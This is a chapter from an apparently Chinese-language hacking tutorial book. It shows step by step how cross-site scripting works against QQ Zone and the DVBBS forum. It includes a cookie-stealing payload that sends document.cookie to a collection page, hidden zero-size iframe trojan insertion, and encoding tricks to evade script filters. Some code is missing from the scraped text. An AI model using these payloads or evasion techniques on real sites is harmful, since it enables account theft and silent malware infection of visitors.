反黑风暴-第22章

按键盘上方向键 ← 或 → 可快速上下翻页，按键盘上的 Enter 键可回到本书目录页，按键盘上方向键 ↑ 可回到本页顶部！
————未阅读完？加入书签已便下次继续阅读！


ookie中的各种论坛和网站的账号和密码。

具体的操作步骤如下：

步骤01在网上申请一个网站空间，将准备好的kuazhan。asp文件上传到申请的空间中。kuazhan。asp文件的作用是收集Cookie内容，其具体内容如下。



步骤02下载并运行“Q…ZONE个人名称空间跨站漏洞利用工具”。

步骤03在文本框中输入相应的跨站代码。



Window。open（‘//192。168。0。45/kuazhan。asp？msg=’＋document。cookie）



步骤04单击【提交】按钮，即可将该代码提交到黑客的Q…Zone页面上。只要其他QQ用户访问其Q…Zone时就会在当前网页中打开一个新窗口，连接到指定的收集Cookie的页面，并将自己的Cookie内容发送到网站空间中的“shouji。”文件中。

步骤05打开“shouji。”文件，即可看到用户的Cookie信息，而这些Cookie信息中可能就包含有各个用户的密码和账号。

这就是一个简单的跨站攻击的例子，攻击者之所以能够成功提交Script语句，而网站程序也把它作为正常的用户名执行程序，就是因为网页程序对用户输入的用户名过滤不严。

如果一个点击率和访问量很大的网站首页中被嵌入了网页木马，那将造成极其严重的后果，访问网站的每一个用户都有可能遭到木马的攻击。前面我们提到，DVBBS论坛的

showerror。asp页面存在一个严重的跨站漏洞，用户无须管理员权限，就可以在论坛页面中嵌入网页木马，攻击其他论坛用户。下面就以这个论坛为例，为大家介绍一个典型的黑客跨站入侵攻击实例。

1．在动网中嵌入一个网页

要实现跨站入侵攻击，需在DVBBS论坛网站中嵌入木马网页。具体的操作步骤如下：

步骤01在IE浏览器的地址栏中输入网址//bbs。dvbbs。/，即可打开动网官方论坛。

步骤02要登录该论坛，需要先在该论坛中注册一个用户。单击【注册】按钮，注册一个新用户即可；若已是注册用户，则单击【登录】按钮。

步骤03在用户名右侧选择【控制面板】→【联系资料修改】菜单项，即可打开个人资料修改页面。

步骤04在“论坛密码”文本框中输入论坛密码，在“主页地址”栏中输入代码“”。

【提示】

“主页地址”栏中输入的代码表示建立一个长度和宽度都为0的网页框架，在网页框架中会打开填写的网页木马地址。可以根据实际情况修改网页框架的长度和宽度及网页木马地址。

使用这种方式挂的网页木马，由于网页框架是隐藏的，因此别人根本无法发现。为了避免输入的网页木马地址对论坛造成危害，这里将输入一个普通的网址来代替网页木马地址，来演示一下挂马的效果。在“主页地址”栏中输入如下代码：

。

并输入Email地址，在“MSN号码”文本框中输入如下代码：

varactioninfo3='单帖屏蔽'。

步骤5：在设置完成后，单击【更新】按钮，即可提交修改资料内容。在提交成功后，则系统会弹出提示信息。

步骤06返回动网论坛中，在其中新发一个帖子，帖子的内容可以随意填写。发表成功后再查看新发的帖子，即可看到在新发的帖子页面中已经嵌入了一个网页框架，在框架中显示了“新起点工作室”的页面。

若是用隐藏的方法显示一个网页木马，则其他网页在查看该帖子时一定会中招被植入木马。如果将该网页框架长和宽都设置为0，则网页框架是隐藏的，任何浏览者都将会在无声无息中遭受到网页木马的攻击。

2．查找动网程序出现严重漏洞的原因

从上面的实例中可以看出，其实在动网论坛上挂上一个网页木马是一件非常容易的事，不需要很多代码，也不需要复杂的设置。只要在论坛上注册一个用户，几乎所有人都可以做到。那么，导致动网程序出现如此严重的漏洞的原因是什么呢？

打开动网注册页面程序文件“reg。asp”查看一下源程序代码，在其中可看到如下语句：

UserIM=checkreal（Request。form（“homepage”））&“｜｜｜”&checkreal（Request。form（“QQ”））&“｜｜｜”&checkreal（Request。form（“ICQ”））&“｜｜｜”&checkreal（Request。form（“msn”））&“｜｜｜”&checkreal（Request。form（“yahoo”））&“｜｜｜”&checkreal（Request。form（“aim”））&“｜｜｜”&checkreal（Request。form（“uc”））

其中“UserIM”是以“TEXT”类型存储主页、QQ、ICQ、msn等用户注册信息的。存储格式为“主页｜｜｜QQ｜｜｜ICQ｜｜｜msn｜｜｜yahoo｜｜｜aim｜｜｜uc”，其中的“homepage”就是用户注册时的主页选项。程序通过“Request。form（“homepage”）”语句，从用户注册的From表单获得用户注册的主页数据，最终的用户输入数据是通过“checkreal”函数进行处理的。

再查看函数定义文件“Fundon。asp”中，可看到“checkreal”函数代码为：

Functioncheckreal（v）

Dimw

Ifnotisnull（v）Then

w=replace（v；“｜｜｜”；“§§§”）

checkreal=w

EndIf

EndFunction

由此可知，该函数仅是将“｜｜｜”进行了过滤，根本没有过滤、/之类的特殊字符，因此导致了用户可输入提交任何的Script语句。

第三章　从QQ空间攻击看跨站技术的演变

如今网络上最流行的就是腾讯QQ，即使是才上网几天的网民，都可能有自己的QQ。而QQ空间也因此成为人人皆有的娱乐博客空间，但这个受人瞩目的空间，同样也成为攻击者的目标。虽然QQ空间这几年来不断地为用户提示各种美化功能，但这也造成了恐怖的跨站攻击漏洞，致使各类博客遭受一次又一次的攻击。

本节就以QQ空间的历次跨站攻击为例，了解跨站技术的演变过程。

8。3。1不安全的客户端过滤

Q…Zone空间报出的第一次跨站攻击漏洞，出现在Q…Zone的“QQ空间名称设置”上。Q…Zone空间对用户输入的空间名称没有进行过滤，从而引发了跨站攻击漏洞。Q…zone用户单击空间导航栏中的【个人档】按钮后，即可进入空间个人信息的设置页面。在该页面中单击【修改个人资料】按钮，进入空间资料信息设置页面。

在左侧列表中单击“空间资料”链接，在显示的“空间资料”页面中的“空间名称”文本框中可以更改Q…Zone空间的显示名称。

空间名称的内容将显示在个人空间主页面中，如果在此写入一段可执行的脚本代码，只要过滤不严格，同样会被保存在首页中，通过调用执行代码，达到攻击浏览者的目的。

下面先测试一下“空间名称”文本框中能否写入跨站脚本。

在“空间名称：”文本框中输入跨站测试代码：alert（〃测试〃），在该文本框中限制了输入字符的长度，输入的字符个数不能超过32个。当输入上述代码后单击【保存】按钮，即可弹出“修改成功”提示信息。然后刷新页面，可看到Q…Zone页面的空间名称已被修改为“alert（〃测试〃）”。由此可以看出，Q…Zone对用户的输入并未进行过滤。

Q…Zone对用户的输入不进行过滤，则会被跨站漏洞利用。若攻击者在Q…Zone中写出危险的代码，如盗取浏览网页者的Cookie内容的代码时，就很有可能获得QQ网站的Cookie信息，进行欺骗攻击。此外，攻击者也可在Q…Zone进行跨站挂马攻击，让浏览者被盗号。

8。3。2编码转换也可跨站

QQ空间中的自定义模块功能可以帮助QQ用户根据自身的需求自定义美化空间，如更改空间背景、增加或删除图文模块等。用户还可以自定义输入各种Script语句代码，对QQ空间进行美化。但空间增加功能的同时，也导致了一些漏洞的产生。一些黑客开始利用自定义模块，对QQ空间进行跨站攻击。

1．Q…Zone自定义模块过滤

在进行跨站攻击之前，先来测试下自定义模块在使用过程中有没有对特殊字符或语句进行过滤。具体操作步骤如下：

步骤01打开QQ空间，在页面中单击【装扮空间】按钮，在显示的“装扮空间”页面中选择【增删模块】选项卡，即可进入模块设置页面。

步骤02在“自定义模块”区域中单击【新建模块】按钮，即可弹出【添加个性化模块】对话框。在其中选择要创建的模块类型，这里选择“图文模块”。

步骤03在弹出的【编辑图文模块】对话框中的“图片地址”和“标题链接”文本框中删除其中的“。//”，并在“描述”文本框中输入以下自定义代码：“”代码之后，其中“//******/******。jpg”为背景图片的链接地址。

在保存模块后即可更改Q…Zone空间的背景图片。但腾讯公司为了对自定义代码进行安全过滤，封锁禁止修改使用自定义的Script代码。

在保存上面的代码后会添加一个空模块，但并不会更改空间的背景图片。QQ空间是通过检测用户提交的代码中，是否含有“javascript”之类的字符进行过滤的。在上面的代码中，将脚本中的部分代码用ASCII编码之后替换，即可避开QQ空间的过滤。如将上述代码中的“javascript”替换为“javascrip；”（“p；”为“p”的ASCII编码），即可突破封锁了。

2．跨站挂马代码的转换

通过上面的测试可知，对添加的自定义代码稍加修改即可蒙骗QQ空间的过滤机制，成功提交代码。因此，一些不怀好意的攻击者就利用这个特点在空间中直接挂上网页木马代码，实施跨站攻击。

按照上面方法在QQ空间中新建一个图文模块，在其中输入如下代码：



为了绕过Q…Zone空间的过滤机制，需将其代码进行转换以躲过过滤，将“javascript”替换为“javascrip；t”，将“iframe”替换为“p；frame”。替换后代码如下：





代码中的//。baidu。是一个安全的网页链接地址，黑客常常会将它换成网页木马的链接地址。这里只是为了说明攻击效果，所以不需要输入木马网页。代码中的其它语句是用来定义模块大小的，由于设置为0，该模块在QQ空间中将被隐藏，但并不影响网页的打开与运行。《｜Ｚei8。Ｃom电子书》

8。3。3Flash跳转的跨站攻击

新版本的Q…Zone已对上述漏洞进行修补，完全封掉了用户自定义代码，QQ用户不用担心空间再被跨站挂马了。但攻击者好像总有办法突破空间的各种限制，QQ空间被跨站攻击的情况仍然层出不穷，而且挂马更加灵活自由化了。

一些攻击者利用一些小技巧实现在QQ空间挂马，使用户刚刚打开QQ空间时可正常显示页面，但过不了几秒钟，页面自动跳转到一个新的网站中去了。如果跳转到的网页是正常网站，用户大可不必担心；但如果跳转到的网页是一个包含攻击性代码的网站，就该注意了。

1．Flash跳转变攻击

进行Flash跳转攻击之前，攻击者会先制作一个跳转Flash，得到跳转代码。准备一个网页木马，这里为了演示效果，用百度网站“//。baidu。”替换木马网页，具体操作步骤如下：

步骤01打开“跳转Flash生成工具”网页（